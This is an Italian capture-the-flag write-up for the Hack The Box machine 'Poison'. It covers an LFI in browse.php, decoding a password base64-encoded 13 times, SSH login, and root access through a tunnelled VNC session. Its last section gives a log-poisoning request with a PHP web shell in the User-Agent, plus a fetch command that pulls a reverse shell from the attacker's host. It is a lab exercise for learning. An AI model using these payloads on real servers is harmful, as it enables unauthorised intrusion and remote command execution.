HTB - Poison

I soliti scan con namp ci revelano la seguente situazione

nmap -sC -sV poison

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 00:32 CET
Nmap scan report for poison (10.129.69.246)
Host is up (0.055s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.21 seconds     

Come possiamo vedere, abbiamo un server nella porta 80 e un server ssh nella porta 22.

La prima cosa che notiamo andando nel sito web è che tramite lo script browser.php abbiamo una LFI tramite il parametro file.

Inoltre, chiamando lo script listfiles.php andando nel seguente URL

http://poison/browse.php?file=listfiles.php

otteniamo una una lista di file, che probabilmente è la lista dei file presenti in una cartella del web server.

Array
(
    [0] => .
    [1] => ..
    [2] => browse.php
    [3] => index.php
    [4] => info.php
    [5] => ini.php
    [6] => listfiles.php
    [7] => phpinfo.php
    [8] => pwdbackup.txt
)
      

tra questi notiamo in particolare il file pwdbackup.txt. Andandolo a leggere tramite la solita LFI otteniamo

This password is secure, it's encoded atleast 13 times.. what could go wrong really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

Notiamo che il contenuto del file pwdbacup.txt è molto probabilmente codificato in base64. Per essere sicuri di questo possiamo fare le seguenti considerazioni (link utile):

• La lunghezza della codifica è un multiplo di 4.

  # counts number of characters that are not newlines in a file
  expr $(cat test.txt | tr -d '\n' | wc -c) / 4  # --> 1164
  perl -e 'print 1164 / 4' # --> 291
  

• Ogni carattere della codifica appartiene all'insieme di caratteri A-Z, a-z, 0-9, +, /, tranne che per il padding alla fine, che può essere composto dai caratteri 0, 1 o =.

Per decodificare il file iniziamo notando che possiamo codificare/decodificare una data stringa in base64 utilizzando il comando ononimo base64.

# encoding
echo "hello world" | base64
# -- aGVsbG8gd29ybGQK

# decoding
echo "aGVsbG8gd29ybGQK" | base64 -d
# -- hello world

Per decodificare il contenuto del file 13 volte di fila possiamo quindi utilizzare il seguente script bash. Per far funzionare corretamente lo script dobbiamo prima salvare la codifica originale in un file chiamato pwdbackup.txt.0

#!/usr/bin/sh

END=13
FILE="pwdbackup.txt."

for i in $(seq 0 $END); do
    (cat $FILE$i | base64 -d) > $FILE$((i+1))
done         

Eseguendo lo script otteniamo quindi 14 file diversi

[leo@kali poison]$ ls
decode.sh  pwdbackup.txt  pwdbackup.txt.0
[leo@kali poison]$ ./decode.sh 
[leo@kali poison]$ ls -lha
totale 72K
drwxr-xr-x 2 leo leo 4,0K 19 dic 01.10 .
drwxr-xr-x 3 leo leo 4,0K 19 dic 00.32 ..
-rwxr-xr-x 1 leo leo  127 19 dic 01.10 decode.sh
-rw-r--r-- 1 leo leo 1,2K 19 dic 01.06 pwdbackup.txt
-rw-r--r-- 1 leo leo 1,2K 19 dic 01.10 pwdbackup.txt.0
-rw-r--r-- 1 leo leo  872 19 dic 01.10 pwdbackup.txt.1
-rw-r--r-- 1 leo leo   53 19 dic 01.10 pwdbackup.txt.10
-rw-r--r-- 1 leo leo   37 19 dic 01.10 pwdbackup.txt.11
-rw-r--r-- 1 leo leo   25 19 dic 01.10 pwdbackup.txt.12
-rw-r--r-- 1 leo leo   16 19 dic 01.10 pwdbackup.txt.13
-rw-r--r-- 1 leo leo  645 19 dic 01.10 pwdbackup.txt.2
-rw-r--r-- 1 leo leo  475 19 dic 01.10 pwdbackup.txt.3
-rw-r--r-- 1 leo leo  349 19 dic 01.10 pwdbackup.txt.4
-rw-r--r-- 1 leo leo  256 19 dic 01.10 pwdbackup.txt.5
-rw-r--r-- 1 leo leo  187 19 dic 01.10 pwdbackup.txt.6
-rw-r--r-- 1 leo leo  138 19 dic 01.10 pwdbackup.txt.7
-rw-r--r-- 1 leo leo  102 19 dic 01.10 pwdbackup.txt.8
-rw-r--r-- 1 leo leo   73 19 dic 01.10 pwdbackup.txt.9

Il file di nostro interesse in particolare è il file chiamato pwdbackup.txt.13, in quanto contiene il valore ottenuto iterando 13 volte di fila la decodifica base64.

[leo@kali poison]$ cat pwdbackup.txt.13
Charix!2#4%6&8(0

Per entrare effettivamente nel server inizialmente possiamo utilizzare ssh e la password appena trovata. Notiamo infatti che le credenziali di accesso sono le seguenti

charix:Charix!2#4%6&8(0     

Mentre la password è stata ottenuta nello step precedente, l'username lo si è dovuto indovinare dalla password.

Una volta entrati possiamo subito leggere la flag user.txt nella home directory dell'utente charix

charix@Poison:~ % ls
secret.zip      user.txt

Dopo aver preso la user flag notiamo che nella home directory dell'utente charix c'è un file particolare, chiamato secret.zip

-rw-r-----  1 root    charix   166B Mar 19  2018 secret.zip

Per unzipparlo ci viene richiesta una password. La password scoperta prima (quella dell'utente charix che ci ha permesso di entrare nella macchina) sembra funzionare.

[leo@kali poison]$ unzip secret.zip 
Archive:  secret.zip
[secret.zip] secret password: 
 extracting: secret     

Una volta unzippato otteniamo un file chiamato secret, che a quanto pare contiene del contenuto in binario.

[leo@kali poison]$ file secret
secret: Non-ISO extended-ASCII text, with no line terminators
[leo@kali poison]$ cat secret
[|Ֆz![leo@kali poison]$ hexdump -C secret
00000000  bd a8 5b 7c d5 96 7a 21                           |..[|..z!|

Continuando, possiamo eseguire il comando ps aux per notare, tra i vari processi, anche il seguente, che ci permette di capire che il programma Xvnc sta girando come l'utente root.

root    614   0.0  0.9  23620  8868 v0- I    00:33    0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc

Utilizzando poi il programma sockstat vediamo che il programma Xvnc sta ascoltando nelle seguenti porte

charix@Poison:~ % sockstat
// ----
root     Xvnc       614   0  stream /tmp/.X11-unix/X1
root     Xvnc       614   1  tcp4   127.0.0.1:5901        *:*
root     Xvnc       614   3  tcp4   127.0.0.1:5801        *:*
root     Xvnc       614   4  stream /tmp/.X11-unix/X1
root     Xvnc       614   5  stream /tmp/.X11-unix/X1     
// ----

Dato che Xvnc sta ascoltando in una porta locale, per connetterci a tale programma dobbiamo utilizzare l'abilità di ssh di creare dei tunnel. Possiamo creare un tunnel che connette la porta locale \(1337\) della nostra macchina con la porta locale \(5801\) della macchina remota nel seguente modo

[leo@kali poison]$ ssh charix@poison -L 1337:localhost:5801     

Una volta che abbiamo creato il tunnel possiamo utilizzare il programma vncviewer nella nostra macchina per connetterci all'istanza remota di Xvnc

[leo@kali poison]$ vncviewer -passwd secret localhost:5902   

Dove notiamo che il file secret è il file ottenuto precedentemente unzippando l'archivio secret.zip trovato nella macchina remota.

Dopo aver lanciato il comando vncivewer abbiamo ottenuto una shell grafica da root nella macchina remota. A questo punto possiamo tranquillamente leggere la root flag nella path

/root/root.txt

Il primo metodo è un metodo abbastanza generale per attaccare le applicazioni scritte in php che funziona quando le seguenti ipotesi sono soddisfatte:

• abbiamo una scoperto una LFI.

• siamo in grado di leggere la pagina phpinfo()

L'idea è quella di exploitare una race condition che ci permette di eseguire del codice arbitrario php nel seguente modo:

1. Inviamo una richiesta con un payload scritto in php nella pagina phpinfo().

2. Dalla pgina phpinfo() leggiamo il nome del file in cui l'engine php ha salvato il payload inviato precedentemente.

3. Utilizzando la LFI andiamo ad accedere alla path letta nel passo precedente.

Dato però che l'engine php rimuove tutti i file temporanei una volta che ha finito di processare la richiesta, per cercare di leggere il codice php prima che questo venga eliminato possiamo aggiungere del padding in vari campi dell'header.

Per maggiori informazioni rimando al seguente link: LFI with phpinfo() assistance.

Un altro modo per entrare nella macchina consiste nel fare log poisoning nei log situati nel file

/var/log/httpd-access.log

Per fare questo possiamo inviare la seguente richiesta HTTP

GET /browse.php?file=/var/log/httpd-access.log HTTP/1.1
Host: poison
Upgrade-Insecure-Requests: 1
User-Agent: <?php system($_REQUEST['cmd']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close     

Andando ad accedere al log utilizzando la LFI possiamo quindi eseguire i nostri comando

http://poison/browse.php?file=/var/log/httpd-access.log&cmd=whoami

Infine, per ottenere la shell possiamo utilizzare il comando fetch nella macchina remota per trasportare nella vittima una revshell scritta in php.

# command
fetch -o /tmp/shell.php http://<our_ip>:<our_port>/revshell.php
# url encoded
fetch%20-o%20%2Ftmp%2Fshell.php%20http%3A%2F%2F10.10.14.54%3A8000%2Frevshell.php%20     

Una volta fatto questo possiamo semplicemente utilizzare la LFI per spawnare la nostra rev shell.

http://poison/browse.php?file=/tmp/shell.php